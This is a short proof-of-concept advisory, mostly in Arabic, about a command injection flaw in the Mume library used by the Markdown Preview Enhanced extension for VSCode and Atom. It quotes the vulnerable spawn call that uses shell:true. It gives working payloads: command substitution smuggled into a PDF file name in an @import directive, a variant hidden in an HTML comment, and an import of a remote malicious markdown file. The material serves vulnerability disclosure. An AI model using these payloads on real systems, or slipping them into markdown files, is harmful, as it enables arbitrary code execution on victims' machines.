
[PoC] حقن الأوامر عبر استيراد PDF في Markdown Preview Enhanced (VSCode, Atom)
حقن أوامر عبر استيراد PDF في Markdown Preview Enhanced (VSCode، Atom)
كانت مكتبة أدوات ماركداون Mume عرضةً لحقن الأوامر بسبب استخدام أمر spawn مع خيار {shell: true}. وقد يسمح ذلك للمهاجم بتنفيذ تعليمات برمجية عشوائية عبر خداع الضحية لفتح ملف Markdown مُعد خصيصًا باستخدام VSCode أو Atom. تشغّل هذه المكتبة إضافة Markdown Preview Enhanced لكل من VSCode وAtom.
مقتطف الشيفرة البرمجية القابل للاستغلال:
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
يسمح مستند Markdown التالي للمهاجم بتنفيذ أمر عشوائي:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
The following comment will be recognised by MPE as valid "@import" command:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
بدلاً من ذلك، يمكن تنفيذ الحمولة من مصدر خارجي:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
عرض توضيحي لكل من VSCode وAtom على يوتيوب.
